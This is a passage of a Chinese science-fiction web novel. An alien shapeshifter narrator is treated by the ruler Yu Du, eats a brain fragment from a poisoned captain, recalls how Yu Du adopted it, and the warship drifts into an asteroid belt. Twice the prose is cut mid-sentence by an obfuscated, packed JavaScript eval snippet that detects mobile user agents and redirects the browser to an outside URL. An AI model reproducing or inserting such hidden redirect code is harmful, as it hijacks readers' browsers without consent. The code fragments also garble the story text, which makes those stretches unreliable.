潮热液体从我残破身体内争先恐后逃离,如同奔涌的红色小溪,向下汇聚滴落,也将玉独染湿。 碎肉块与血浆的结合体,清洗起来不会多么轻松。她那件睡衣还被我扣着,这件正装大概也不能穿了。 一想到这些负面变动都是因为我,就好开心。 我更加放松身体,压制再生的能力,任由烈火焦烤过的部分继续溃烂,在想象中让自己成为玉独怀中一块沉重的,就此腐烂的肉,同时也融入她的伤口。 不知道走了多久,我鼻部的神经重连,嗅觉有所恢复,消毒水的味道顽强从烧肉中钻出来,而玉独的步伐也放慢,不远处响起人群的哀哀呼痛,接连不断,此起彼伏,听着挺骇人。 “没位置了?”玉独说。 一个医生道:“是的,王,都满了。” 因为玉独的抓人计划,医务室里很热闹,塞满了严重花生过敏而浑身肿胀的技术兵,和一堆晕船以及在混乱中受伤的人,地上都铺隔菌纸躺了不少,连半张空余的床位都挤不出来。 见状,玉独稍一思量,说道:“药房里还有空间吗?腾个地方出来。” “好的,我这就去办。” 药房里常年保持低温的状态,无法在里面久坐,但冷库和医务室之间还夹了一个过度舱,里面恰好摆了张椅子。 玉独走进来,环顾四周,把我轻巧放上去,让我两腿岔开,面朝椅背坐下,还牵着我的右手抓住椅背,像是幼稚园里乖巧做游戏的孩子一样。 我似乎听见她卸力时慢慢吐出的呼吸,感受到她身体也紧绷到近乎极致,不禁在心中确认一件事——玉独的身体大不如前。 目前未知,她登基为君主这件事充满了疑点。 或者说,以我仅剩的片段记忆和认知而言,找不到任何一处合理的地方。 舱门打开,医生们推了个小车过来,上面的瓶瓶罐罐在啪啪震动。 盖在我头上的外套被摘掉,光线钻入我眼皮。寻常人都会骤亮的光刺到,下意识眯起眼睛,我却一反常态,依然圆睁着眼,定定看着人,全然不管瞳孔被刺激缩小到几乎只有针尖般大小。 活络的皮肉和骨骼似乎都不在原位,我看起来比最为抽象的画作还要再加一抹血腥。 玉独承担着我的注视,反看着我,神色不变,旁边的医生倒是给吓了一跳。 “这么严重!”医生近乎尖叫:“我还是努力给你匀一张床位吧,刚刚有个全身过敏的,但是还没晕倒,可以让他先离开!” 玉独皱了皱眉,似在忍受不适。 她伸出手,细长手指在小车的瓶瓶罐罐上巡索,而后挑中某一个,两指拎起药瓶,倒出一枚蓝绿色的药片含到口中。 我瞄了眼标签,耳鸣药。 方才我虽然替她挡住了火焰的冲击,但那么近距离的爆炸,不可能没给她带来影响。 “不用了,你们先出去吧。”她一手拎着沾满血和碎肉的外衣,舌尖将药卷起,顶着在牙齿内侧转了半圈,目光中充满了毫不掩饰的打量。 到了这个时候,我也不打算再去装柔弱,顶着稀碎的身体板板正正坐着,右手搭在椅背上。 过了会,我意识到这个动作显得太乖巧,不像我,便想要收回手。 只是,刚有意识,还未动作,玉独便有所察觉般的,扔下药瓶,手按下来,叠在我的手背上。 比哈珀要大一圈的手掌,带着些许花香味,玉般温凉,没多少肉,手背蜿蜒着青枝般的经络,底色雪白,纵横着几道血条,显眼又迷乱。 我盯着她的手,像是被什么沉重的诅咒压在原地。 看我精神状态良好,医生大概是以为那一身血不是我的,而是属于另一个倒霉鬼,另外,也在随后赶来的同事口中听闻了我的“勇敢”事迹,目光中顿时多出了一些我不期待的赞叹。 “有勇气。”他夸赞我。 我回过头,细小触.手差点推开眼珠刺穿他的喉咙,而他当然无从察觉,只是又被我惨烈的脸吓了一跳。 好在这帮讨厌的家伙还记得君主下达了离开的指令,逐渐后退着离开,关门前还要向我比出多余的军礼。 我敢发誓,坚实的舱门绝对救了他们一命。 等他们消失,玉独才放开我的手,独自转身去了药房。 来到医务室和去药房的目的都很明确——为了治疗我现在的惨状。 可知道与忍耐是两回事,我体内不属于人类的部分还是随着她消失不见而躁动起来。在失去了小部分皮肤约束力的前提下,那些腕足总是蠢蠢欲动,想从伤口钻出,品尝能撕碎送到口器边的所有东西。 这都还在可以压制的范围,可是,她敢把我自己放在这里? 薄薄的金属墙壁外就是她所忠爱并下定决心一生守护的共和国公民,她不担心我在重伤之下发狂开始进行屠杀吗?她失去那份悲天悯人的博爱了吗? 她忘记了我当年在战场上与她并肩时,所表现出来震惊四座的恐怖破坏力了吗? 她足足去了一秒,两秒,三秒.....一百二十秒! 她竟然离开了整整两分多钟,她.... “你的伤口比较难处理。”玉独走出来,回到小车边。 她将外套当做口袋,里面鼓鼓囊囊装了不少东西,随着走动传出药剂相互摩擦碰撞的闷响。 将充当把手的袖子解开,沾满血液的药水便叮叮当当滚了满桌,玉独毫不介意脏透的外套,将之系在腰间,随后一手撑桌沿:“等久了吗?” 我冷冷看着她。 玉独的张扬红发就是她性格的特征显化,她外放,热情,勇敢,极具感染力,走到哪都能撩起和她发色般同样灼目的火。 哪怕她只是静静站在这里,也能让人察觉到她身体内流动的生命力,就藏在那双被短靴紧紧箍住的又细又长的小腿,她微勾的唇角以及蜜梨般单边酒窝,她深深的眼眶,卷曲纤长沁有花香的发丝中。 看到她的瞬间,就会下意识思考她,揣测她,解读她,怀疑她,甚至憎恨她,总之,绝难做到忽视她。 粉色的新鲜血肉不受控制生长出来,每一缕神经都渴求从残缺到圆满。 我竭力维持呼吸,使伤口保持原状。 “我来帮你上药。”玉独从药剂堆里拿出一个黑盒子,打开来,里面飘出一股金属冷气,形如酒杯的小碗里装着一滩黑色液体。 我和玉独对这个东西都很熟练,这是一种金骨材料,可以为非常严重的伤处提供支撑力,曾经在战场上经常出现,不过价格昂贵,只有部分高层军官可用,效果几乎算得上立竿见影。 玉独用手挖出柔性药膏,另一手捧起我的脸,对着我自己都形容不好的混乱,面部改色将药膏抹上去。 她微微俯下.身,拉进我们的距离,声音反而轻:“痛的话握紧椅背。” 我在心中嘲讽她故作的温柔,口中则道:“这些伤不是勇气的象征。” 玉独反应了一下,意识到我是在反驳那些医生的话。 “不是勇气,”女人没皱眉头,反而弯了弯眼角:“那么是鲁莽?” 我说:“什么都不是,只是生物体的溃烂。” 她不紧不慢:“急于剥夺意义的行为,恰恰是一种反证。” 我反问:“我该任由他们产生误解?” 手指将药膏涂抹在合适的位置后,依然停留在那里,玉独微微施力,抬起我的头,指尖轻轻挠了两下:“不如只改动让你在意的部分?” “其实...”她压低声音:“是不想让我误解吧。” “你觉得,为我挡下爆炸不是勇气的象征,但你想要否定的肯定不止这部分,还有....” 那刻意营造出来的亲近氛围,好像多年老友相见般的叙旧,看起来温馨又甜蜜,实际自心底涌出来的却是截然相反的丑恶污秽,肉.体比心绪更沸腾。 我觉得带来这一切的玉独很恶心,却还是盯着她形状姣好的唇,听着她吐出圆珠般的字句,并已从口型猜到那最后一个字是什么。 爱... 那些围观的士兵,技术兵们,医生后勤等等,所有旁观者口中的爱。 咔嚓一声,椅背在我手心中碎裂成片片残渣,我以眼神警告她不要继续说下去。 不许说那个字。 玉独是这个世上最没资格说爱的人,早在背叛的行为发生时,诉说的权力便被剥夺。 该有的苦难惩罚只是还未兑现,却让这女人直到此刻还能嚣张不已。 清晰看到碎片从我手中掉落,玉独不再多说什么,专心给我处理伤口,从惨不忍睹的脸到身体,手臂,腿部,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743516|189767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番抹药,注射,包扎,来来回回忙活了将近两个小时,才终于把我包成粽子,还原成人形。 她看起来累得不轻,揉着肩膀,给自己也搬了椅子来:“饿吗?” 断臂和身体上的包扎都十分专业,让医生来处理都极为耗费精力,更何况她。 我依次摸过,指腹感受着规整的纹理,不明白玉独为什么要把没意义的事做得这么认真。 她应该很清楚我有极强的再生能力,这些伤根本称不上真正的伤口,不用多长时间就能完全康复。 反而是她为此耗费的精神,看起来更难积攒些。 “饿了,那个星帆不好吃。”我说。 “面包。” “也不好吃。” “能量棒。” “不好吃。” “蛋白质胶体。” 我抬头:“你在没话找话。” 玉独只是笑了笑。 这时,舱门打开,医生走进来,拿着一份报告:“检测报告,麻烦您送给舰长。” 这是方才答应的事,我伸手去接,发现伸出的是断臂,正要换右手,检测报告被玉独接过:“我来吧,你回去休息。” 医生行礼后离开舱室。 我问道:“回哪里?” 她不是让我跟在她身边当护卫吗?又改变注意了?因为什么?因为我没抓到杀手,所以她对我失望了? 她怎么敢对我失望,那不过是一个我看都懒得看一眼的废物,真正想抓的话并不费力,但是抓到后,她还需要有人在她身边当护卫吗? 一个时刻存在的威胁对我而言反而是一件好事,我才不管眼球还想杀谁,即将杀掉谁,有多少人会遭毒手...... 或许是我眼神过于复杂且锐利,还有种不妙的发展趋势,玉独补充了一句:“回我房间休息吧。” 我又看了她一会,这才起身道:“不去了,我等会还有事情要忙。” 玉独问:“比如?” 我如实道:“我要去杀舰长。” 玉独瞥了眼手里的检测报告:“我相信医生刚刚不是这个意思。” 我说:“我会让他先签收体检报告,再签收我的刺杀,顺序不会错。” 玉独似乎想说点什么,片刻,还是忍住了,把报告塞进我右手:“想杀就杀吧,船上本就有杀手,不是吗?” 她是在提醒我,眼球还没有被抓到,我犯下的错都可以直嫁祸给那家伙,下手的时候最好注意点,可以结合大副被害的特征来布置。 习惯性洗脱罪名的思路。我还什么都没做,她就已经想好了要如何开脱。 我没有回应,转身离开。 当我站着从医务室里走出来的时候,不少人都惊讶到双眼发直,手里的文件掉了一地。 他们没想到印象里那个瘦弱小巧的技术兵哈珀遭此大难后还能这般坚强的继续工作,认为我是精神强大且深情温驯的英杰,对我的敬佩程度又上了一个量级,甚至有人开始对我行军礼,以表崇拜和尊敬。 我视若无睹,询问了舰长的位置后,径直前往驾驶室。 那是一个圆弧状的空间,大部分环境都沉没在伸手不见五指的黑暗中,只有一道又宽又高的淡蓝色全息屏幕悬在半空,标识着战舰的状态,位置信息,和最近空间站的数据等等。 一把磁悬浮座椅停在屏幕前,舰长坐在上面,安安静静。 我走向他。在这个特殊的空间里,脚步声几乎听不见。我如同踏行在幽黑地狱里的幽灵,飘到了他身后,把检测报告放在他面前:“你的东西。” 他沉默着,手指死死扣住染血的手帕,惊恐的双眼望向前方的黑暗,肤色蓝白。 我俯身看他眼睛,瞳孔扩散,人已经死了。 翻开检测报告,上面显示异常,希望舰长快些回来提供更多的样本复检。 看来是不需要了。 我简单检查了一下舰长的身体状态,他死于毒物,肺部已经烂成乌黑的蜂窝煤,别的内脏也未能幸免。 这么说来,今天的咳嗽就是这个原因,而下毒和大副被害应该是同时进行的,只不过慢性毒药让他今天才死。 还好是毒杀,保留了全尸,我还能拿回我的那部分大脑。否则,若是因为眼球而害我永远丢失一段记忆,那么我一定不会让她活着走下启明舰。 正要下手掏我的大脑时,我余光里注意到屏幕上有个点在闪烁。 潜意识里觉得不对劲,我抬头望去,轻轻的“哈”了一声。 不知何时,启明舰被更改了航向,现在正一头扎进危险且偏僻的小行星带。 11. 偏航2 不消说,这必然是眼球的手笔,要么她早就想这么做来制造混乱,要么就是下午那场目的明确的悼念会将她激怒,而这是存心报复的结果。 小行星带里乱石横行,有极高的撞击风险,还有复杂的磁场风暴网络,若是战舰在此迷失,不幸被捕捉,一个不小心,全舰人都会死无葬身之地。 我试着调整几个数据,发现这会改变战舰的航向也已来不及。 警报系统被刻意关闭,战舰就在大家眼皮子下直入危险之境,探测器标明数以万计的碎石就滚动在周围,即使战舰拥有防御壳,也无法承受高频率的撞击,而此刻防御系统竟是惊人的处于关闭状态。 也就是说,战舰仿佛漂浮在无依无靠的海面上,如一碰即碎的鸡蛋,而下方则暗藏着无数锋利僵硬的礁石。一旦撞到,后果不堪设想。 当年我和玉独一起面对过许多危险的战局,我知道该怎样应对这样的局面。 想要最大止损,需要先打开防御,然后将战舰控制权托管给专门的自动避让系统,并且即刻减速原地后退,但这几个行动都需要通过身份验证才能操作。 舰长已死,尸体无法使用,而我保存的副官数据也没派上用场——人员离世后,他的控制权第一时间就被解除,以免被人钻空子。 所以,我唯一能做的,就是尽快把这个消息告知玉独,让她来应对。 当然,在那之前,我没忘记拿回属于我的东西。 我摸索着舰长的眉骨,沿着眉毛连成的线条掀开头壳。 丝丝缕缕的热气中,里面的淡粉色内容物还算是完整,突兀的黑色斑纹遍布大脑表面,代表着毒液的侵蚀。 属于人类的神经网络已死,在细胞垂死挣扎的不甘心氧化中,唯一还算是活跃的那部分,正是我要拿回来的部分。 将那块灰色大脑取出,我以视线描摹脑部表面薄膜上的黑色,有些好奇眼球所使用的毒物是什么材料和味道。 数不清的时光之前,我出生在地表覆盖着毒雾的星球,以那里的水和花为食,后面更是在废海中淬炼了三年,基本上所有毒对我而言都是口味不同的调味料,除了带来点新鲜的味道和一点精神幻觉之外没有作用。 我将那块大脑吞入口中。 酸涩感淋在舌尖,激的口腔里那块软肉变得窄瘦,不适应的蜷缩。 还未归位的脑与已回来的脑部都感受到一股刺痛,我周身涌起一种奇妙的战栗感。 大脑口感绵软,吃自己的与别人的无甚差别,甚至更有一股亲切。我闭眸感受到那股温热顺着喉管滑下去,还没入腹就融于我食道的黏膜。 紧接着,刺痛更为显著,我指尖抽搐,忍耐着比味觉更为辛辣的回忆片段闪入脑海,像是从苍白的土壤中突然蔓生出一棵参天巨榕,遮天蔽日,无从躲避。 把舰长脑壳归于原位,伪装成毒物造成的身体崩裂效果,随即,我转身离开驾驶室,脚步有些不稳。 毒物带来的神经性幻觉与记忆找回让我视野变化,走廊里灯带相互扭缠,尖叫,不断扩张,变换,犹如万花筒里爆发出色彩的漩涡。 我不得不扶住墙壁,在过去和眼下的跳转间隙寻找去玉独房间的道路。 这一块新鲜的记忆拼图,是关于玉独将我带回家的场景。 星历2117年,战争打响没多久,玉独被安排的第一个重要讨伐任务失败。 她没接收到情报,遭遇了埋伏,且做出了错误的判断,手下的士兵几乎被全歼,本人也身受重伤,在流亡之际被我的星球引力捕获,原地降落。 彼时还年轻气盛的玉独初次尝到彻底失败的滋味,遭受沉重打击,几乎一蹶不振。 在明知道星球被毒雾覆盖的前提下,她依然不戴防护面具下了飞船,漫步在齐膝深的水中,粉色的纤细花枝拨弄着她染血的军靴。 然后,我看到了她,那场永不可磨灭的初遇。 可也是在后来,我才知道,这一难忘时刻我眼中光芒万丈,威风凛凛的她,其实正处于人生的最低谷,颓丧失败,差点就此陨灭。 而这都是那时的我所不能理解的。 我只是遵循着本能向她游动,在她视野范围内挥手,跳跃出水,再一头扎下,还扒住她的靴子,把自己变成一块八爪吸盘状的冰箱贴,怎么都不撒爪。 玉独对我的存在感到微微震惊,她没想到会在不期然的人生终点与生命禁地碰见了我,停下了走向必死无疑的步伐。 在我把她的军靴啃出凹陷前,她把我拿了起来,让我趴在她的指尖。 她的眼睛像湖,我被孕育在占据星球表面的广阔大海中,可那抹窄小的,狭长的湖,还是以灰黑的深邃轻易就吸引了我。 我在她眼眸的倒影中看到自己的样子——透明的小小身体,圆圆胖胖的脑袋,两粒黑豆般的眼睛,玩具一样憨态可掬。 我第一次看清自己,从此在她的眼眸中新生。 她在观察我时,我也在观察她。 她与我有一万点不同,她的红色长发,军装,长睫毛,英挺的鼻梁,手指的温度,呼吸时吞吐的热气.... 而我是什么,我是一个还没在共和国生物百科图鉴里登记过的未知物种,一个首次被发现的新生命。 没人了解我,我也不了解她,我们对彼此的认知都从蒙昧开始。 一种激动之情笼罩着我,我不断向她挥舞触.手,在她指尖蹦蹦跳跳,手舞足蹈。 她看了我许久,湖水般的眸子泛起涟漪。她喃喃说着:“原来这样的地狱里也会有生命...” 千万年孤寂的星球上,除了风声,水声,花枝摇动的声响,我第一次听到别的声音。 “很高兴认识你。”玉独笑着说。 我的八条触手扒着她的指尖,于是,她摇了摇指尖,当做与我的握手。 也许我的出现,给与玉独某种上苍的暗示,她将我视为希望,重振精神,在饱受毒雾折磨濒临死亡前,回到了飞船里,掏出解毒剂给自己注射,还动手对飞船进行了检修,最终带我去往了主星。 战争带来的伤痛让她不得不暂时远离战场,休假在家疗养,而吸收的少量毒雾又再次拉长了调养时间,她迎来了至少三个月的长假。 她得了闲功夫,买了一堆东西囤着,除了往返医院之外整日都待在宿舍里,不是研究兵书和战场模型就是和家里的宠物玩耍。 那会宠物的数量还没有以后那么多,宿舍空间毕竟有限,无法安置巨型的生态缸,所以除我之外,只有一猫一狗一鸟一守宫一仓鼠等等,每次开家门都要小心翼翼,免得哪只不确定性的动物跑出去。 玉独是个合格的养宠人,每只宠物都有属于自己的房间。于是,我也得以被安置在一个精巧的圆形鱼缸中,缸底铺着一层鹅卵石,夹杂着一些海草,特异调配的海水比例正好适合,与我的母星格外相似。 虽然我更喜欢她的手掌,但也要承认这的确是个较为安逸的环境。 喂食工作很麻烦,需要准备各种食材且处理方式各不相同,这些本应交给家居机器人来做,但玉独意外是个传统的人,不太喜欢过于智能化的环境,家中不少地方保持着原始的状态,连网络都没有连接,在这个时代算是异类。 受伤之前,她预定了每天的上门喂养服务,回来后便取消了,全部自己来,每天花费在预备和喂食的时间至少两个小时以上。 她不怎么和别的人类通电话,最喜欢对宠物说很多零零碎碎的事,起初的我不太能听懂,但可以根据她的表情和氛围猜测出那些事是值得高兴还是悲伤的。 印象中,大部分时玉独都笑着,可神情却落寞。 对于这份矛盾的好奇,促使我想要学习人类的语言,解读她表情背后的故事。 只是,我的特殊出生没给我换来不同的待遇,她将我当做普通的宠物来饲养,从未想过我也有和她交流的智性,也就没有学习的机会。 直到那一天。 或许是出于养恩即是母恩的心态,玉独总是致力于让那些宠物叫她妈妈。 她使用专业的训练方法,手里握着食物,对宠物下达对应的指令,只要做到就可以得到奖励。 只是坐下或转圈之类的日常命令还好,大多数宠物都可以做到,但语言系统岂是能轻易进化出来的,玉独很快认清“孺子不可教也”,转而把希望放在了鸟类身上,可惜身负重任的小鸟也未能如愿。 那天晚上,玉独点起台灯,坐在桌边,正查看战场的星图。 我爬出鱼缸,八条细爪来回拨动,像一团贴地的蒲公英,飘上了她的桌子。 “你要陪我吗?”玉独捏起我,把我放在深黑的星图上:“想去哪里?” 我抱紧她的指尖,腕足描摹着什么。玉独觉得痒,笑个不停,把手指当成战舰,带着我从星图的太阳走到月亮。 “我们的星系里有很多生命,像你一样未被探知和记录,还有各种各样神奇的星球,无数待开发的资源,可我们却被迫卷入战争中,消耗燃料和生命,刚打完内战就要和虫族打,还要警惕虎视眈眈的帝国....” 玉独依然自顾自讲话,拇指揉了揉我手感良好的圆润脑袋:“不过和平总会来的,我对共和国的军队很信任,我的失败仅仅是我个人的失败,并不会挫磨军队的意志。” “等我恢复,我会重返战场,这一次我绝不会犯同样的错误....” 突然,她想起什么,顿了顿,忍住了话语的颤抖,叹息着笑道:“玉独,你又这样,总是要犯下无法挽回的过错,才能重新变得聪明谨慎吗?” 我感受到她身体陡然的紧绷,用口器啄了啄她的指甲,继续做着自己的事。 玉独则点起一支烟,在迷乱的花香和雾气中,她强迫自己从某段回忆中挣出,出神道:“未来迎来和平的那一天,我们能让所有人都能吃上畜牧星系的优质肉类吗?你觉得会不会实现?嗯?” 她抬起头,目光从印刷的星图投向窗外的星空, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743517|189767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神往道:“大探索时代什么时候能来临呢?我有生之年,会有机会前往宇宙的深处吗?” 得到了想要的东西,我离开她的指尖,钻进了她的墨水瓶,吸了一大口墨水,再钻出来,趴在星图上,开始一圈圈绘画。 察觉到我的异动,她垂眸看着我,丝毫不担心我给她的星图弄上洗不掉的墨水,温柔包容的语气。 “这是你的生活习性吗?说来,我还没去查过你的资料,你应该是章鱼的其中一个变种吧,在军校上物种课的时候好像见......” 我让开身体,展示出了自己的作品。 惊讶充满了那双美丽的眼睛,她的话语戛然而止,被某个突然顿悟的念头震颤,深吸口气。 这些变化源于一个不可思议的行为——我在星图上绘制了一枚指纹。 香烟继续燃烧,一截长灰落下来,在星图角落烧出一个圆印。 长久的沉默后,玉独常年苍白的肤色浮上一层红晕。她按住眉峰,用力揉了揉,身体向后撞上椅背,椅子发出吱呀声。 共和国里有异族存在,但他们多多少少都和人族有所牵连,除了外表有较大的变化,和一些微弱的特殊能力,别的方面几乎拉不开太大的差距。 纯粹的动物是不可能与人交流的,不必有多余的指望,而除了异族和人族,还有一种神秘的,极为稀少的古老生物,生活在宇宙的某些星球上,具有非同寻常的外表,以及极高的智慧。 简而言之,是异类中的异类,是独特的生命,是注定会拥有传奇故事的强大稀有物种。 我就是其中之一。 半晌,等星火烧到了手指,玉独才按灭烟头,颤抖着手指,连珠炮般说道:“你能听懂我说话,是吗?你是来帮助我的吗?你是不是上天赐予我的好运?你....” 她说了很多话,好像被捂住嘴多年的人第一次开口,我一句都听不懂,但我感受到她的情绪,也开心起来,左右扭动我的脑袋。 绘制指纹的本意,是表达我的意思:我足够聪明,与那些蠢货宠物不同。我想了解你,想摸清你的指纹,学习你的语言,融入你真正的生活,而不是待在那个幸福的鱼缸里。 我相信玉独一定理解了我的想法,在一通热烈诉说后,她调整着呼吸,找出了墨盒,手指按上去。 而后,在我所绘制的指纹边,按下了她的指纹。 如此珍重,像是签订了只有我们知道的秘密协议。 自从玉独发现我的不同寻常以后,便开始教我辨别字母,而我也成为了第一个能够以明确的文字写出“妈妈”这个称呼的宠物。 不,不是宠物,而是战友。 至少我那时是这样认为的。 记忆海啸掀起疯狂的浪花,无数画面,声音,气味,感触在茫然的突窜中找到自己的位置,激起我熟悉的爱,以及崭新的恨。 皮肤下的腕足不停扭动,随时想要刺破限制,恢复自由。我的身体一如我的心,随时要崩解分裂,一根细小的触手已从我的眼角伸出,挣扎着想要爬出来.... 这时,脚下突然传来震动,我有一种不妙的预感,果不其然,下一秒,一道极为恐怖的爆炸声从战舰的某个角落响起! 与此同时,我在瞬间失去平衡,被抛向天花板,继而像是罐头里的鱼肉般翻滚搅动,最后狠狠撞上另一边墙壁。 那天崩地裂般的巨响,绝对是某一件极具破坏性的坏事发生所带来的,我深知这一点,并且在清楚外界是小行星带的前提下猜到,大概率是有陨石击中了飞船,同时引发了船内的爆炸。若是不及时反应,所有人的命此刻都十分危险。 电路不稳,走廊里的灯变得闪烁不定,红紫跳跃,我听见了远处传来军队的脚步声,正打算爬起来,一双手扶住我。 顺着手臂望去,是玉独。 波动闪烁的灯光下,她静静看着我,似乎并未被突如其来的灾难影响,沉默着将我扶起来。 片刻,她的手指划过我新生的唇角,抹去了什么。 毒药带来的知觉麻痹让我难以理解她的行为,记忆还在回溯,几年前的玉独和此刻我眼前的她来回穿插。 当年那个还有几分稚嫩的女人,在餐桌上与我一起用餐。她嫌弃我钻入食物的吃相,说什么都要将我揪出来,用干净的手帕擦掉我口器上的血。 “我记得我有教过你餐桌礼仪,”玉独很有耐心:“不听妈妈的话吗?” 士兵们跑到了我们的身后,皆浑身狼狈,神情惊恐,有一位军官扶着帽子大叫道:“君主!出大事了!” 颠倒崩溃的世界中,我摇晃的视线最终定格在玉独的背影。 她面向士兵,很快投入状态,问起飞船被破坏的细则,并稳定他们的情绪,带他们去往驾驶室。 我不自觉跟了上去。 唇角还残留着玉独手指的温度,我明白了那个行为的意义——她在帮我擦去唇角的血。 因为她教过我,这代表餐桌礼仪。 12. 偏航3 在我抵达驾驶室时,舰长的尸体已经被人从驾驶座上搬了下来,蒙上一层白布,看起来肃穆寂寥。 没人为我的到来而惊讶,看来在我方才没看到的讨论里,舰长的死与“哈珀”毫无关系,已被归因为那位尚未落网的赏金猎人。 不过,实际上也没有差别,我并未下手,只是取走了一部分属于我自己的东西而已。 几乎所有掌握权力的大小军官都来到驾驶室,以及不少文职人员和士兵。他们穿着正装,聚拢在宽幅显示屏下,不发一语,脸色沉重,神情阴郁,还隐隐有愤怒与担忧在。 一方面,作为护卫君主巡游而出发的队伍,虽然为响应节约资源的口号,称不上多么大的排场,但总归来看应该也能称上一句轻松体面又安全的美差,谁能想到从出发开始就遇到接二连三的问题。 遭遇那位神秘莫测的赏金猎人就罢了,本来就已经活在恐惧里,而现在更是不得了,一头扎进小行星带,随时会有被陨石和星匪攻击的风险,想不愁都不行。 这一趟全国公民都在观看的巡游,若是以这种方式结束,真乃奇耻大辱。 站在最前方,玉独深沉着嗓音道:“敌人尚在暗处,狡猾残酷,时刻威胁着我们的生命安全,外部也危机重重。没有过多的时间为舰长与副官哀悼,我们需要先自救。” 舰长的尸体像一抹阴影笼罩在众人心中,而脚下隐隐约约的震动更是将阴影加重。 玉独微微挺直了脊背,她身后的巨幕全息显示器上,三维战舰显示图中有不少部分都爆发出了红色警报,像是着了火。 “接下来,”玉独环视众人,一字一句道:“我将接管启明舰的一切权力,并为大家说明现状。” 警告的红光落在她脸上,配合她浓艳的五官,不像是人,更像是以极高造诣制作出来的完美机器,也犹如一道最高警戒令的具象化,会下意识让人联想到不可逾越,高不可攀的部分,不自觉服从。 事到如今,还有胆识与心魄敢于担下重责,而不是躲在军官身后空发号令的,怕是只有一个玉独了。 他们也只能来依仗这位“傀儡君主”当年丰富的作战经验,来抵挡目前的难关。 无声间交流的眼神里,基本都蕴含着这层意思,这已是默认的事实。 毕竟昭玉将军是从极端残酷的虫族边缘战场上活下来的高级将领。 于是,没人反驳,意味着全票通过。 我在口中咀嚼着“一切权力”四个字。 要不是赏金猎人的存在十分确切,我都要怀疑这些事都是玉独主动引发,而目的就是为了夺权了。 她是能做出这种事的人。 见统帅已是事实,玉独直入正题:“今天下午主星时间五点左右,启明舰的航向被更改,且警报装置也被恶意关闭,导致我们未能观测到异常的数据报告...” 经过了方才的检查,将战舰一步步送入危险地带的日志记录都是舰长留下来的。 目前最有可能的情况,是眼球在舰长临死前将他带到驾驶室,大概是以解药为威胁,逼迫舰长在濒临死亡之际犯下了弥天打错,背叛众人将航线偏向地狱。 现在不是追讨罪过的时候,而是该想办法应对那逼近眼前的危险。 略特道:“王,我们是不是该发送求救信息。” 玉独转身望向全息显示屏:“先去检测战舰损毁情况。” “是,我已经派人去了,数据很快就会传导入这里。” 大约五分钟后,来自战舰各部分的粗略调查报告传入主系统,玉独将之默认匹配在三维图中。 以现在战舰的情况,已经不太可能靠自己退出去,能保持原状就已经是不容易的事,这还不算什么,最糟糕的还属.... 玉独盯着显示屏,嗓音传遍空旷的驾驶室:“我们的对外通讯系统几乎完全损坏。” 这意味着他们已经失去了与外界的联系,如孤岛一样漂浮在小行星带中,这种强烈的不安全感让众人陷入无与伦比的恐慌,骚动起来。 “安静。”玉独道。 就像略特所说,当务之急,是先向最近的空间站或者星球发送求救信号。 查看了一遍手下人传来的损坏情报,玉独思索道:“中微子脉冲需要巨大的能量才能释放,激光则需要极度精准,现在干扰太多,两个方法都不妥帖,我们能采取的求救方式还剩下两种。” “第一:启动备用的全向射频天线,进行全方位广播。” “这个方法虽然传播速度没那么快,但信号稳定,不过,要面临一项高风险。小行星带潜藏的敌人也有可能捕获到我们的位置,有利有弊。” 全方位广播会像战舰的四面八方输送信号,就算其中有很大一部分被陨石折射或吸收,也还是有一部分可能穿透出去,抵达目的地,但缺点也很是明显,星匪找上门来是板上钉钉的事。 一命军官道:“军队会以生命守护君主与战舰的安危。” 玉独点点头,道:“还有第二种方法,释放信使探测器,把战舰受损情况,人员信息和坐标都编码在机器里,让它们携带信息前往最近的繁忙航向,这个方法非常稳妥,只是速度会慢一点。” 所有人心知肚明,她说的速度慢一点,那很有可能是以天来计数,到时会发生什么,没人敢去猜测。 玉独做决定:“以防万一,两种方法同时启用。” 众人道:“是。” 她手指在操纵器上滑动,调出战舰三维图里的人员信息,并用系统自动计算,将士兵分为abcde五个小队,列出名单,分装入邮件发送出去。 同时,不少军官佩戴在手腕的手表都发出叮咚的接收提醒。 玉独开始批量发送任务,在三维图上标出不同的地点。 “A小队,B小队,你们结伴去战舰直接受损暴露在外的破口处,星匪不一定具备钻破外壳的能力,很大概率是从这里进入。” “C小队,你们去生命循环系统舱室,小行星带人缺乏日常生活资源,这里是他们第一时间抢劫的地方。” “D小队,去燃料仓,别的技术兵也一起去保护好燃料。” “E小队,你们在上下层连接处巡逻,时刻待命。” 前面几个小队都有各自的队长,会在玉独发放任务后回应,而E小队的队长之位目前空悬,也就无人应答。 玉独转头看了看,略一思索,目光挪到跟在自己身后的两位首相治安官身上,相当自然道:“E小队由你们两人带队。” 对外联系被切断,他们两人自然也无法再与首相对话,然而,都还清楚记得自己监视君主的命令,有些犹豫。 “情况紧急,我的命令就是共和国最高指令,”玉独走近他们,压低声音:“还想活命就听我的。” 数道略带谴责的视线落在治安官身上,仿佛在斥责他们分不清主次。迫于压力,他们点头:“是。” 又陆续发放了数条任务,玉独向众人道:“接下来所有人的行动,都必须至少有两到六人的组队,警惕眼球在混入我们之中。” “船内通信还能够使用,保持联络。只需要坚持三个小时以上,就是我们的胜利。” 略特走出人群,问道:“王,是不是应该分出一批人留在这?” 言下之意,想要留一部分人以保障君主的安全,而不是全部都派遣出去,导致同样重要的驾驶室空置。 